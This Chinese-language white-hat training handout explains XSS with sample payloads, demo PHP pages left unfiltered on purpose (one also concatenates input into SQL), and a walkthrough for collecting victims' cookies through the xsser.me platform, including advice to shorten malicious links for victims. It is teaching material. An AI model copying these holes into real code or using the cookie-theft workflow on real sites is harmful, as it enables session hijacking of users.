米斯特白帽培訓講義 漏洞篇 XSS
講師:gh0stkey
整理:飛龍
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為 XSS 。惡意攻擊者往 Web 頁面里插入惡意 JavaScript 代碼,當用戶瀏覽器該頁之時,嵌入 Web 頁面里的代碼會被執行,從而達到惡意攻擊用戶的目的。
Payload
Payload 的中文含義是有效載荷,在 XSS 中指代攻擊代碼或攻擊語句。
常見的 Payload 有:
- 正常彈窗
<script>alert(1)</script>
<img src=0 onerror=alert(1)>
- 彈出網站 Cookie
<script>alert(document.cookie)</script>
<img src=0 onerror=alert(document.cookie)>
分類
總共有三種
反射型:Payload 經過后端,不經過數據庫
存儲型:Payload 經過后端,經過數據庫
DOM:Payload 不經過后端
原理:反射型
非持久化,需要欺騙用戶點擊鏈接才能觸發 XSS 代碼(數據庫中沒有這樣的頁面和內容)。Payload 一般存在于 URL 或者 HTTP 正文中,需要構造頁面,或者構造 URL。
將這段代碼保存為xss.php
。
<?php
header('X-XSS-Protection: 0');
?>
<p>反射型 XSS 演示</p>
<form action="" method="get">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET['xss'];
if($xss!==null){
echo $xss;
}
我們看到,這段代碼中首先包含一個表單,用于向頁面自己發送 GET 請求,帶一個名為xss
的參數。 然后 PHP 會讀取該參數,如果不為空,則直接打印出來,我們看到這里不存在任何過濾。也就是說,如果xss
中存在 HTML 結構性的內容,打印之后會直接解釋為 HTML 元素。
我們部署好這個文件,訪問http://localhost/xss.php
,如圖:
我們直接輸入一個 HTML 代碼,比如<script>alert(1)</script>
,之后點擊test
:
我們可以看到彈窗,也就是我們輸入的 HTML 代碼被執行了。
之后我們查看元素,這表明,我們輸出的內容直接插入到了頁面中,解釋為<script>
標簽。
我們可以自定義彈窗中的內容來利用 XSS,比如改成alert(document.cookie)
。
這個例子中 URL 為http://localhost/xss.php?xss=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
,這個 URL 容易引起懷疑,可以使用短網址工具縮短后發送給受害者。
從上面的例子中,我們可以看出,反射型 XSS 的數據流向是:瀏覽器 -> 后端 -> 瀏覽器。
原理:存儲型
持久化,代碼儲存在數據庫中。如在個人信息或發表文章等地方,假如代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到數據庫中,用戶訪問該頁面的時候出發代碼執行。這種 XSS 比較危險,容易造成蠕蟲,盜竊 Cookie 等。
這里我們把xss.php
內容改為(同時數據庫中需要配置相應的表):
<?php
header('X-XSS-Protection: 0');
?>
<p>存儲型 XSS 演示</p>
<form action="" method="post">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss=@$_POST['xss'];
mysql_connect("localhost","root","root");
mysql_select_db("xss");
if($xss!==null){
$sql="insert into test(id,payload) values('1',$xss)";
$result=mysql_query($sql);
echo $result;
}
可以看到,用戶輸入的內容還是沒有過濾,但是不直接顯示在頁面中,而是插入到了數據庫。
我們新建res.php
,內容為:
mysql_connect("localhost","root","root");
mysql_select_db("xss");
$sql="select payload from test where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['payload'];
}
該代碼從數據庫讀取了之前插入的內容,并將其顯示出來。
我們部署之后首先查看test
數據庫,確認它是空的:
然后訪問xss.php
,像之前一樣輸入 HTML 代碼并點擊test
,如下:
點擊之后卻發現沒有任何動靜,但事實上,我們的數據已經插入到了數據庫中。
那么,當我們訪問res.php
查詢這個值的時候,代碼就會被執行。
所以說,存儲型 XSS 的執行位置通常不同于輸入位置。我們可以看出,存儲行 XSS 的數據流向是:瀏覽器 -> 后端 -> 數據庫 -> 后端 -> 瀏覽器。
利用
我們可能需要通過 XSS 來獲得用戶 Cookie 或其他有用信息,利用平臺負責接收并保存這些信息。另外,利用平臺能夠托管利用腳本,于是我們可以向頁面只注入一個腳本鏈接,使長度極大縮短。
這里的 XSS 利用平臺使用 xsser.me,大家可以自行下載和搭建。
- 下載:http://download.csdn.net/detail/gzliu_hit/5606811
- 搭建:http://blog.csdn.net/god_7z1/article/details/47234989
首先訪問主頁,你會看到一個登錄頁面,輸入用戶名和密碼之后點擊“登錄”:
成功之后會顯示主界面,左邊是模塊列表,右邊是項目列表:
我們點擊左邊“我的項目”旁邊的“創建”按鈕:
名稱和描述可以隨便取,不影響使用。輸入時候點擊“下一步”按鈕。之后會出現“配置代碼”界面:
我們只選擇默認模塊,把它展開之后,我們可以看到它的作用是向平臺發送一個請求,來收集用戶的各種信息。之后點擊“下一步”。
然后我們會在首頁看到我們的新項目,點擊這個項目:
之后點擊右上方的查看代碼,就可以看到使用方法:
簡單來說,MyzcXv?1467719328
就是平臺所生成的腳本地址,你可以把它放在script
或者img
標簽的src
屬性中,在把標簽插入存在 XSS 漏洞的地方,然后瀏覽器就會執行。
下面我們點擊之前創建的aaa
項目。
我們把<script src="..."></script>
注入到反射型 XSS 的演示頁面中。
提交之后頁面沒什么動靜,但是我們查看利用平臺,可以發現新增了一條數據: